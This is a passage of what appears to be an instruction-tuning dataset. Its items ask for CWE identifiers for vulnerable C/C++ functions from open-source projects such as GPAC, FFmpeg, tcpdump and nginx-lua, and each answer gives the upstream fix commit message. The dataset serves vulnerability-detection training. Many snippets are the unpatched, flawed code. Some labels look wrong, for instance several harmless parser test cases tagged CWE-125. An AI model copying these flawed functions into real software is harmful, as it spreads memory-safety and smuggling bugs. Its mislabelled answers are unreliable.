TRY_IO(pcm_skip(&reader->io, 4)); /* mEditCount */\n            *data_length = (chunk_size == ~0ULL) ? chunk_size : chunk_size - 4;\n            reader->data_offset = pcm_tell(&reader->io);\n            break;\n        } else\n            TRY_IO(pcm_skip(&reader->io, chunk_size));\n    }\n    ENSURE(reader->sample_format.channels_per_frame);\n    ENSURE(fcc == M4AF_FOURCC('d','a','t','a'));\n    return 0;\nFAIL:\n    return -1;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-703'], 'message': 'wav/caf parser: ensure fmt/desc chunk\n\nfixes https://github.com/nu774/fdkaac/issues/52'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static s32 gf_hevc_read_pps_bs_internal(GF_BitStream *bs, HEVCState *hevc)\n{\n\tu32 i;\n\ts32 pps_id;\n\tHEVC_PPS *pps;\n\n\t//NAL header already read\n\tpps_id = gf_bs_read_ue_log(bs, \"pps_id\");\n\n\tif ((pps_id < 0) || (pps_id >= 64)) {\n\t\tGF_LOG(GF_LOG_ERROR, GF_LOG_CODING, (\"[HEVC] wrong PPS ID %d in PPS\\n\", pps_id));\n\t\treturn -1;\n\t}\n\tpps = &hevc->pps[pps_id];\n\n\tif (!pps->state) {\n\t\tpps->id = pps_id;\n\t\tpps->state = 1;\n\t}\n\tpps->sps_id = gf_bs_read_ue_log(bs, \"sps_id\");\n\tif (pps->sps_id >= 16) {\n\t\tGF_LOG(GF_LOG_ERROR, GF_LOG_CODING, (\"[HEVC] wrong SPS ID %d in PPS\\n\", pps->sps_id));\n\t\tpps->sps_id=0;\n\t\treturn -1;\n\t}\n\thevc->sps_active_idx = pps->sps_id; /*set active sps*/\n\tpps->dependent_slice_segments_enabled_flag = gf_bs_read_int_log(bs, 1, \"dependent_slice_segments_enabled_flag\");\n\n\tpps->output_flag_present_flag = gf_bs_read_int_log(bs, 1, \"output_flag_present_flag\");\n\tpps->num_extra_slice_header_bits = gf_bs_read_int_log(bs, 3, \"num_extra_slice_header_bits\");\n\tpps->sign_data_hiding_flag = gf_bs_read_int_log(bs, 1, \"sign_data_hiding_flag\");\n\tpps->cabac_init_present_flag = gf_bs_read_int_log(bs, 1, \"cabac_init_present_flag\");\n\tpps->num_ref_idx_l0_default_active = 1 + gf_bs_read_ue_log(bs, \"num_ref_idx_l0_default_active\");\n\tpps->num_ref_idx_l1_default_active = 1 + gf_bs_read_ue_log(bs, \"num_ref_idx_l1_default_active\");\n\tpps->pic_init_qp_minus26 = gf_bs_read_se_log(bs, \"pic_init_qp_minus26\");\n\tpps->constrained_intra_pred_flag = gf_bs_read_int_log(bs, 1, \"constrained_intra_pred_flag\");\n\tpps->transform_skip_enabled_flag = gf_bs_read_int_log(bs, 1, \"transform_skip_enabled_flag\");\n\tif ((pps->cu_qp_delta_enabled_flag = gf_bs_read_int_log(bs, 1, \"cu_qp_delta_enabled_flag\")))\n\t\tpps->diff_cu_qp_delta_depth = gf_bs_read_ue_log(bs, \"diff_cu_qp_delta_depth\");\n\n\tpps->pic_cb_qp_offset = gf_bs_read_se_log(bs, \"pic_cb_qp_offset\");\n\tpps->pic_cr_qp_offset = gf_bs_read_se_log(bs, \"pic_cr_qp_offset\");\n\tpps->slice_chroma_qp_offsets_present_flag = gf_bs_read_int_log(bs, 1, \"slice_chroma_qp_offsets_present_flag\");\n\tpps->weighted_pred_flag = gf_bs_read_int_log(bs, 1, \"weighted_pred_flag\");\n\tpps->weighted_bipred_flag = gf_bs_read_int_log(bs, 1, \"weighted_bipred_flag\");\n\tpps->transquant_bypass_enable_flag = gf_bs_read_int_log(bs, 1, \"transquant_bypass_enable_flag\");\n\tpps->tiles_enabled_flag = gf_bs_read_int_log(bs, 1, \"tiles_enabled_flag\");\n\tpps->entropy_coding_sync_enabled_flag = gf_bs_read_int_log(bs, 1, \"entropy_coding_sync_enabled_flag\");\n\tif (pps->tiles_enabled_flag) {\n\t\tpps->num_tile_columns = 1 + gf_bs_read_ue_log(bs, \"num_tile_columns_minus1\");\n\t\tpps->num_tile_rows = 1 + gf_bs_read_ue_log(bs, \"num_tile_rows_minus1\");\n\t\tpps->uniform_spacing_flag = gf_bs_read_int_log(bs, 1, \"uniform_spacing_flag\");\n\t\tif (!pps->uniform_spacing_flag) {\n\t\t\tfor (i = 0; i < pps->num_tile_columns - 1; i++) {\n\t\t\t\tpps->column_width[i] = 1 + gf_bs_read_ue_log_idx(bs, \"column_width_minus1\", i);\n\t\t\t}\n\t\t\tfor (i = 0; i < pps->num_tile_rows - 1; i++) {\n\t\t\t\tpps->row_height[i] = 1 + gf_bs_read_ue_log_idx(bs, \"row_height_minus1\", i);\n\t\t\t}\n\t\t}\n\t\tpps->loop_filter_across_tiles_enabled_flag = gf_bs_read_int_log(bs, 1, \"loop_filter_across_tiles_enabled_flag\");\n\t}\n\tpps->loop_filter_across_slices_enabled_flag = gf_bs_read_int_log(bs, 1, \"loop_filter_across_slices_enabled_flag\");\n\tif ((pps->deblocking_filter_control_present_flag = gf_bs_read_int_log(bs, 1, \"deblocking_filter_control_present_flag\"))) {\n\t\tpps->deblocking_filter_override_enabled_flag = gf_bs_read_int_log(bs, 1, \"deblocking_filter_override_enabled_flag\");\n\t\tif (! (pps->pic_disable_deblocking_filter_flag = gf_bs_read_int_log(bs, 1, \"pic_disable_deblocking_filter_flag\"))) {\n\t\t\tpps->beta_offset_div2 = gf_bs_read_se_log(bs, \"beta_offset_div2\");\n\t\t\tpps->tc_offset_div2 = gf_bs_read_se_log(bs, \"tc_offset_div2\");\n\t\t}\n\t}\n\tif ((pps->pic_scaling_list_data_present_flag = gf_bs_read_int_log(bs, 1, \"pic_scaling_list_data_present_flag\"))) {\n\t\thevc_scaling_list_data(bs);\n\t}\n\tpps->lists_modification_present_flag = gf_bs_read_int_log(bs, 1, \"lists_modification_present_flag\");\n\tpps->log2_parallel_merge_level_minus2 = gf_bs_read_ue_log(bs, \"log2_parallel_merge_level_minus2\");\n\tpps->slice_segment_header_extension_present_flag = gf_bs_read_int_log(bs, 1, \"slice_segment_header_extension_present_flag\");\n\tif (gf_bs_read_int_log(bs, 1, \"pps_extension_flag\")) {\n#if 0\n\t\twhile (gf_bs_available(bs)) {\n\t\t\t/*pps_extension_data_flag */ gf_bs_read_int(bs, 1);\n\t\t}\n#endif\n\n\t}\n\treturn pps_id;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-190', 'CWE-787'], 'message': 'add safety in avc/hevc/vvc sps/pps/vps ID check - cf #1720 #1721 #1722'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static int g2m_init_buffers(G2MContext *c)\n{\n    int aligned_height;\n\n    if (!c->framebuf || c->old_width < c->width || c->old_height < c->height) {\n        c->framebuf_stride = FFALIGN(c->width * 3, 16);\n        aligned_height     = FFALIGN(c->height,    16);\n        av_free(c->framebuf);\n        c->framebuf = av_mallocz(c->framebuf_stride * aligned_height);\n        if (!c->framebuf)\n            return AVERROR(ENOMEM);\n    }\n    if (!c->synth_tile || !c->jpeg_tile ||\n        c->old_tile_w < c->tile_width ||\n        c->old_tile_h < c->tile_height) {\n        c->tile_stride = FFALIGN(c->tile_width, 16) * 3;\n        aligned_height = FFALIGN(c->tile_height,    16);\n        av_free(c->synth_tile);\n        av_free(c->jpeg_tile);\n        av_free(c->kempf_buf);\n        av_free(c->kempf_flags);\n        c->synth_tile  = av_mallocz(c->tile_stride      * aligned_height);\n        c->jpeg_tile   = av_mallocz(c->tile_stride      * aligned_height);\n        c->kempf_buf   = av_mallocz((c->tile_width + 1) * aligned_height\n                                    + FF_INPUT_BUFFER_PADDING_SIZE);\n        c->kempf_flags = av_mallocz( c->tile_width      * aligned_height);\n        if (!c->synth_tile || !c->jpeg_tile ||\n            !c->kempf_buf || !c->kempf_flags)\n            return AVERROR(ENOMEM);\n    }\n\n    return 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-119', 'CWE-787'], 'message': 'avcodec/g2meet: Fix framebuf size\n\nCurrently the code can in some cases draw tiles that hang outside the\nallocated buffer. This patch increases the buffer size to avoid out\nof array accesses. An alternative would be to fail if such tiles are\nencountered.\nI do not know if any valid files use such hanging tiles.\n\nFixes Ticket2971\nFound-by: ami_stuff\nSigned-off-by: Michael Niedermayer '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: ngx_http_lua_adjust_subrequest(ngx_http_request_t *sr, ngx_uint_t method,\n    int always_forward_body, ngx_http_request_body_t *body,\n    unsigned vars_action, ngx_array_t *extra_vars)\n{\n    ngx_http_request_t          *r;\n    ngx_int_t                    rc;\n    ngx_http_core_main_conf_t   *cmcf;\n    size_t                       size;\n\n    r = sr->parent;\n\n    sr->header_in = r->header_in;\n\n    if (body) {\n        sr->request_body = body;\n\n        rc = ngx_http_lua_set_content_length_header(sr,\n                                                    body->buf\n                                                    ? ngx_buf_size(body->buf)\n                                                    : 0);\n\n        if (rc != NGX_OK) {\n            return NGX_ERROR;\n        }\n\n    } else if (!always_forward_body\n               && method != NGX_HTTP_PUT\n               && method != NGX_HTTP_POST\n               && r->headers_in.content_length_n > 0)\n    {\n        rc = ngx_http_lua_set_content_length_header(sr, 0);\n        if (rc != NGX_OK) {\n            return NGX_ERROR;\n        }\n\n#if 1\n        sr->request_body = NULL;\n#endif\n\n    } else {\n        if (ngx_http_lua_copy_request_headers(sr, r) != NGX_OK) {\n            return NGX_ERROR;\n        }\n\n        if (sr->request_body) {\n\n            /* deep-copy the request body */\n\n            if (sr->request_body->temp_file) {\n                if (ngx_http_lua_copy_in_file_request_body(sr) != NGX_OK) {\n                    return NGX_ERROR;\n                }\n            }\n        }\n    }\n\n    sr->method = method;\n\n    switch (method) {\n        case NGX_HTTP_GET:\n            sr->method_name = ngx_http_lua_get_method;\n            break;\n\n        case NGX_HTTP_POST:\n            sr->method_name = ngx_http_lua_post_method;\n            break;\n\n        case NGX_HTTP_PUT:\n            sr->method_name = ngx_http_lua_put_method;\n            break;\n\n        case NGX_HTTP_HEAD:\n            sr->method_name = ngx_http_lua_head_method;\n            break;\n\n        case NGX_HTTP_DELETE:\n            sr->method_name = ngx_http_lua_delete_method;\n            break;\n\n        case NGX_HTTP_OPTIONS:\n            sr->method_name = ngx_http_lua_options_method;\n            break;\n\n        case NGX_HTTP_MKCOL:\n            sr->method_name = ngx_http_lua_mkcol_method;\n            break;\n\n        case NGX_HTTP_COPY:\n            sr->method_name = ngx_http_lua_copy_method;\n            break;\n\n        case NGX_HTTP_MOVE:\n            sr->method_name = ngx_http_lua_move_method;\n            break;\n\n        case NGX_HTTP_PROPFIND:\n            sr->method_name = ngx_http_lua_propfind_method;\n            break;\n\n        case NGX_HTTP_PROPPATCH:\n            sr->method_name = ngx_http_lua_proppatch_method;\n            break;\n\n        case NGX_HTTP_LOCK:\n            sr->method_name = ngx_http_lua_lock_method;\n            break;\n\n        case NGX_HTTP_UNLOCK:\n            sr->method_name = ngx_http_lua_unlock_method;\n            break;\n\n        case NGX_HTTP_PATCH:\n            sr->method_name = ngx_http_lua_patch_method;\n            break;\n\n        case NGX_HTTP_TRACE:\n            sr->method_name = ngx_http_lua_trace_method;\n            break;\n\n        default:\n            ngx_log_error(NGX_LOG_ERR, r->connection->log, 0,\n                          \"unsupported HTTP method: %u\", (unsigned) method);\n\n            return NGX_ERROR;\n    }\n\n    if (!(vars_action & NGX_HTTP_LUA_SHARE_ALL_VARS)) {\n        /* we do not inherit the parent request's variables */\n        cmcf = ngx_http_get_module_main_conf(sr, ngx_http_core_module);\n\n        size = cmcf->variables.nelts * sizeof(ngx_http_variable_value_t);\n\n        if (vars_action & NGX_HTTP_LUA_COPY_ALL_VARS) {\n\n            sr->variables = ngx_palloc(sr->pool, size);\n            if (sr->variables == NULL) {\n                return NGX_ERROR;\n            }\n\n            ngx_memcpy(sr->variables, r->variables, size);\n\n        } else {\n\n            /* we do not inherit the parent request's variables */\n\n            sr->variables = ngx_pcalloc(sr->pool, size);\n            if (sr->variables == NULL) {\n                return NGX_ERROR;\n            }\n        }\n    }\n\n    return ngx_http_lua_subrequest_add_extra_vars(sr, extra_vars);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-444'], 'message': 'bugfix: prevented request smuggling in the ngx.location.capture API.\n\nSigned-off-by: Yichun Zhang (agentzh) '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: AP4_AtomSampleTable::GetSample(AP4_Ordinal index, \n                               AP4_Sample& sample)\n{\n    AP4_Result result;\n\n    // check that we have a chunk offset table\n    if (m_StcoAtom == NULL && m_Co64Atom == NULL) {\n        return AP4_ERROR_INVALID_FORMAT;\n    }\n\n    // MP4 uses 1-based indexes internally, so adjust by one\n    index++;\n\n    // find out in which chunk this sample is located\n    AP4_Ordinal chunk, skip, desc;\n    result = m_StscAtom->GetChunkForSample(index, chunk, skip, desc);\n    if (AP4_FAILED(result)) return result;\n    \n    // check that the result is within bounds\n    if (skip > index) return AP4_ERROR_INTERNAL;\n\n    // get the atom offset for this chunk\n    AP4_UI64 offset;\n    if (m_StcoAtom) {\n        AP4_UI32 offset_32;\n        result = m_StcoAtom->GetChunkOffset(chunk, offset_32);\n        offset = offset_32;\n    } else {\n        result = m_Co64Atom->GetChunkOffset(chunk, offset);\n    }\n    if (AP4_FAILED(result)) return result;\n    \n    // compute the additional offset inside the chunk\n    for (unsigned int i = index-skip; i < index; i++) {\n        AP4_Size size = 0;\n        if (m_StszAtom) {\n            result = m_StszAtom->GetSampleSize(i, size); \n        } else if (m_Stz2Atom) {\n            result = m_Stz2Atom->GetSampleSize(i, size); \n        } else {\n            result = AP4_ERROR_INVALID_FORMAT;\n        }\n        if (AP4_FAILED(result)) return result;\n        offset += size;\n    }\n\n    // set the description index\n    sample.SetDescriptionIndex(desc-1); // adjust for 0-based indexes\n\n    // set the dts and cts\n    AP4_UI32 cts_offset = 0;\n    AP4_UI64 dts        = 0;\n    AP4_UI32 duration   = 0;\n    result = m_SttsAtom->GetDts(index, dts, &duration);\n    if (AP4_FAILED(result)) return result;\n    sample.SetDuration(duration);\n    sample.SetDts(dts);\n    if (m_CttsAtom == NULL) {\n        sample.SetCts(dts);\n    } else {\n        result = m_CttsAtom->GetCtsOffset(index, cts_offset); \n\t    if (AP4_FAILED(result)) return result;\n        sample.SetCtsDelta(cts_offset);\n    }     \n\n    // set the size\n    AP4_Size sample_size = 0;\n    if (m_StszAtom) {\n        result = m_StszAtom->GetSampleSize(index, sample_size); \n    } else if (m_Stz2Atom) {\n        result = m_Stz2Atom->GetSampleSize(index, sample_size); \n    } else {\n        result = AP4_ERROR_INVALID_FORMAT;\n    }\n    if (AP4_FAILED(result)) return result;\n    sample.SetSize(sample_size);\n\n    // set the sync flag\n    if (m_StssAtom == NULL) {\n        sample.SetSync(true);\n    } else {\n        sample.SetSync(m_StssAtom->IsSampleSync(index));\n    }\n\n    // set the offset\n    sample.SetOffset(offset);\n\n    // set the data stream\n    sample.SetDataStream(m_SampleStream);\n\n\n    return AP4_SUCCESS;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-476', 'CWE-703'], 'message': 'fixed possible crashes on malformed inputs.'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: GF_Err url_box_read(GF_Box *s, GF_BitStream *bs)\n{\n\tGF_DataEntryURLBox *ptr = (GF_DataEntryURLBox *)s;\n\n\tif (ptr->size) {\n\t\tptr->location = (char*)gf_malloc((u32) ptr->size);\n\t\tif (! ptr->location) return GF_OUT_OF_MEM;\n\t\tgf_bs_read_data(bs, ptr->location, (u32)ptr->size);\n\t}\n\treturn GF_OK;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-787'], 'message': 'fixed #1587'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: void CLASS foveon_load_camf()\n{\n  unsigned type, wide, high, i, j, row, col, diff;\n  ushort huff[258], vpred[2][2] = {{512,512},{512,512}}, hpred[2];\n\n  fseek (ifp, meta_offset, SEEK_SET);\n  type = get4();  get4();  get4();\n  wide = get4();\n  high = get4();\n  if (type == 2) {\n    fread (meta_data, 1, meta_length, ifp);\n    for (i=0; i < meta_length; i++) {\n      high = (high * 1597 + 51749) % 244944;\n      wide = high * (INT64) 301593171 >> 24;\n      meta_data[i] ^= ((((high << 8) - wide) >> 1) + wide) >> 17;\n    }\n  } else if (type == 4) {\n    free (meta_data);\n    meta_data = (char *) malloc (meta_length = wide*high*3/2);\n    merror (meta_data, \"foveon_load_camf()\");\n    foveon_huff (huff);\n    get4();\n    getbits(-1);\n    for (j=row=0; row < high; row++) {\n      for (col=0; col < wide; col++) {\n\tdiff = ljpeg_diff(huff);\n\tif (col < 2) hpred[col] = vpred[row & 1][col] += diff;\n\telse         hpred[col & 1] += diff;\n\tif (col & 1) {\n\t  meta_data[j++] = hpred[0] >> 4;\n\t  meta_data[j++] = hpred[0] << 4 | hpred[1] >> 8;\n\t  meta_data[j++] = hpred[1];\n        }\n      }\n    }\n  } else\n    fprintf (stderr,_(\"%s has unknown CAMF type %d.\\n\"), ifname, type);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-119', 'CWE-787', 'CWE-190'], 'message': 'Fixed possible foveon buffer overrun (Secunia SA750000)'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: beep_print(netdissect_options *ndo, const u_char *bp, u_int length)\n{\n\n\tif (l_strnstart(\"MSG\", 4, (const char *)bp, length)) /* A REQuest */\n\t\tND_PRINT((ndo, \" BEEP MSG\"));\n\telse if (l_strnstart(\"RPY \", 4, (const char *)bp, length))\n\t\tND_PRINT((ndo, \" BEEP RPY\"));\n\telse if (l_strnstart(\"ERR \", 4, (const char *)bp, length))\n\t\tND_PRINT((ndo, \" BEEP ERR\"));\n\telse if (l_strnstart(\"ANS \", 4, (const char *)bp, length))\n\t\tND_PRINT((ndo, \" BEEP ANS\"));\n\telse if (l_strnstart(\"NUL \", 4, (const char *)bp, length))\n\t\tND_PRINT((ndo, \" BEEP NUL\"));\n\telse if (l_strnstart(\"SEQ \", 4, (const char *)bp, length))\n\t\tND_PRINT((ndo, \" BEEP SEQ\"));\n\telse if (l_strnstart(\"END\", 4, (const char *)bp, length))\n\t\tND_PRINT((ndo, \" BEEP END\"));\n\telse\n\t\tND_PRINT((ndo, \" BEEP (payload or undecoded)\"));\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-125', 'CWE-787'], 'message': 'CVE-2017-13010/BEEP: Do bounds checking when comparing strings.\n\nThis fixes a buffer over-read discovered by Brian 'geeknik' Carpenter.\n\nAdd a test using the capture file supplied by the reporter(s).'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: TEST_CASE(\"Ordered choice count\", \"[general]\")\n{\n    parser parser(R\"(\n        S <- 'a' / 'b'\n    )\");\n\n    parser[\"S\"] = [](const SemanticValues& sv) {\n        REQUIRE(sv.choice() == 1);\n        REQUIRE(sv.choice_count() == 2);\n    };\n\n    parser.parse(\"b\");\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-125'], 'message': 'Fix #122'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: TEST_CASE(\"Action taking non const Semantic Values parameter\", \"[general]\")\n{\n    parser parser(R\"(\n        ROOT <- TEXT\n        TEXT <- [a-zA-Z]+\n    )\");\n\n    parser[\"ROOT\"] = [&](SemanticValues& sv) {\n        auto s = any_cast(sv[0]);\n        s[0] = 'H'; // mutate\n        return std::string(std::move(s)); // move\n    };\n\n    parser[\"TEXT\"] = [&](SemanticValues& sv) {\n        return sv.token();\n    };\n\n    std::string val;\n    auto ret = parser.parse(\"hello\", val);\n    REQUIRE(ret == true);\n    REQUIRE(val == \"Hello\");\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-125'], 'message': 'Fix #122'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: TEST_CASE(\"String capture test\", \"[general]\")\n{\n    parser parser(R\"(\n        ROOT      <-  _ ('[' TAG_NAME ']' _)*\n        TAG_NAME  <-  (!']' .)+\n        _         <-  [ \\t]*\n    )\");\n\n    std::vector tags;\n\n    parser[\"TAG_NAME\"] = [&](const SemanticValues& sv) {\n        tags.push_back(sv.str());\n    };\n\n    auto ret = parser.parse(\" [tag1] [tag:2] [tag-3] \");\n\n    REQUIRE(ret == true);\n    REQUIRE(tags.size() == 3);\n    REQUIRE(tags[0] == \"tag1\");\n    REQUIRE(tags[1] == \"tag:2\");\n    REQUIRE(tags[2] == \"tag-3\");\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-125'], 'message': 'Fix #122'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: name_len(netdissect_options *ndo,\n         const unsigned char *s, const unsigned char *maxbuf)\n{\n    const unsigned char *s0 = s;\n    unsigned char c;\n\n    if (s >= maxbuf)\n\treturn(-1);\t/* name goes past the end of the buffer */\n    ND_TCHECK2(*s, 1);\n    c = *s;\n    if ((c & 0xC0) == 0xC0)\n\treturn(2);\n    while (*s) {\n\tif (s >= maxbuf)\n\t    return(-1);\t/* name goes past the end of the buffer */\n\tND_TCHECK2(*s, 1);\n\ts += (*s) + 1;\n    }\n    return(PTR_DIFF(s, s0) + 1);\n\ntrunc:\n    return(-1);\t/* name goes past the end of the buffer */\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-125'], 'message': 'CVE-2017-12893/SMB/CIFS: Add a bounds check in name_len().\n\nAfter we advance the pointer by the length value in the buffer, make\nsure it points to something in the captured data.\n\nThis fixes a buffer over-read discovered by Forcepoint's security\nresearchers Otto Airamo & Antti Levom\u00e4ki.\n\nAdd a test using the capture file supplied by the reporter(s).'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: gerbv_gdk_draw_prim4(GdkPixmap *pixmap, GdkGC *gc, double *p, \n\t\t     double scale, gint x, gint y)\n{\n    const int exposure_idx = 0;\n    const int nuf_points_idx = 1;\n    const int first_x_idx = 2;\n    const int first_y_idx = 3;\n    const int rotext_idx = 4;\n    GdkGC *local_gc = gdk_gc_new(pixmap);\n    int nuf_points, point;\n    double rotation;\n    GdkPoint *points;\n    GdkColor color;\n\n    /* Include start point */\n    nuf_points = (int)p[nuf_points_idx] + 1;\n    points = g_new(GdkPoint, nuf_points);\n    if (!points) {\n\tg_free(points);\n\treturn;\n    }\n\n    rotation = p[(nuf_points - 1) * 2 + rotext_idx];\n    for (point = 0; point < nuf_points; point++) {\n\tpoints[point].x = (int)round(scale * p[point * 2 + first_x_idx]);\n\tpoints[point].y = -(int)round(scale * p[point * 2 + first_y_idx]);\n\tif (rotation != 0.0)\n\t    points[point] = rotate_point(points[point], rotation);\n\tpoints[point].x += x;\n\tpoints[point].y += y;\n    }\n\n    gdk_gc_copy(local_gc, gc);\n\n    /* Exposure */\n    if (p[exposure_idx] == 0.0) {\n\tcolor.pixel = 0;\n\tgdk_gc_set_foreground(local_gc, &color);\n    }\n\n    gdk_gc_set_line_attributes(local_gc, \n\t\t\t       1, /* outline always 1 pixels */\n\t\t\t       GDK_LINE_SOLID, \n\t\t\t       GDK_CAP_BUTT, \n\t\t\t       GDK_JOIN_MITER);\n    gdk_draw_polygon(pixmap, local_gc, 1, points, nuf_points);\n\n    g_free(points);\n\n    gdk_gc_unref(local_gc);\n\n    return;\n} /* gerbv_gdk_draw_prim4 */ ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-703'], 'message': 'Avoid direct access on array of unknown size\n\nBe requiring a `gerbv_simplified_amacro_t` the `dgk_draw_amacro_funcs` can be sure of the length of the parameter array.'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code:     if (sz + idx > maxSz || sz > WOLFSSH_MAX_HANDLE) {\n        WLOG(WS_LOG_SFTP, \"Error with file handle size\");\n        res  = err;\n        type = WOLFSSH_FTP_FAILURE;\n        ret  = WS_BAD_FILE_E;\n    } ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-190'], 'message': 'ASAN SFTP Fixes\nWhen decoding SFTP messages, fix the size checks so they don't wrap. (ZD12766)'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static bool ok_jpg_read_dht(ok_jpg_decoder *decoder) {\n    // JPEG spec: Table B.5\n    ok_jpg *jpg = decoder->jpg;\n    uint8_t buffer[17];\n    if (!ok_read(decoder, buffer, 2)) {\n        return false;\n    }\n    int length = readBE16(buffer) - 2;\n    while (length >= 17) {\n        if (!ok_read(decoder, buffer, 17)) {\n            return false;\n        }\n        length -= 17;\n\n        int Tc = buffer[0] >> 4;\n        int Th = buffer[0] & 0x0f;\n        if (Tc > 1 || Th > 3) {\n            ok_jpg_error(jpg, OK_JPG_ERROR_INVALID, \"Invalid JPEG (Bad DHT Tc/Th)\");\n            return false;\n        }\n        ok_jpg_huffman_table *tables = (Tc == 0 ? decoder->dc_huffman_tables :\n                                        decoder->ac_huffman_tables);\n        ok_jpg_huffman_table *table = tables + Th;\n        ok_jpg_generate_huffman_table(table, buffer);\n        if (table->count > 0) {\n            if (table->count > 256 || table->count > length) {\n                ok_jpg_error(jpg, OK_JPG_ERROR_INVALID, \"Invalid DHT segment length\");\n                return false;\n            }\n            if (!ok_read(decoder, table->val, (size_t)table->count)) {\n                return false;\n            }\n            length -= table->count;\n        }\n        bool is_ac_table = Tc == 1;\n        ok_jpg_generate_huffman_table_lookups(table, is_ac_table);\n    }\n    if (length != 0) {\n        ok_jpg_error(jpg, OK_JPG_ERROR_INVALID, \"Invalid DHT segment length\");\n        return false;\n    } else {\n        return true;\n    }\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-787'], 'message': 'ok_jpg: Fix invalid DHT (#11)'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: ompl::geometric::VFRRT::Motion *ompl::geometric::VFRRT::extendTree(Motion *m, base::State *rstate,\n                                                                   const Eigen::VectorXd &v)\n{\n    base::State *newState = si_->allocState();\n    si_->copyState(newState, m->state);\n\n    double d = si_->distance(m->state, rstate);\n    if (d > maxDistance_)\n        d = maxDistance_;\n\n    const base::StateSpacePtr &space = si_->getStateSpace();\n    for (unsigned int i = 0; i < vfdim_; i++)\n        *space->getValueAddressAtIndex(newState, i) += d * v[i];\n    if (!v.hasNaN() && si_->checkMotion(m->state, newState))\n    {\n        auto *motion = new Motion(si_);\n        motion->state = newState;\n        motion->parent = m;\n        updateExplorationEfficiency(motion);\n        nn_->add(motion);\n        return motion;\n    }\n    else\n    {\n        si_->freeState(newState);\n        inefficientCount_++;\n        return nullptr;\n    }\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-703'], 'message': 'fix memory leak in VFRRT. closes #839'"
+  },
+  {
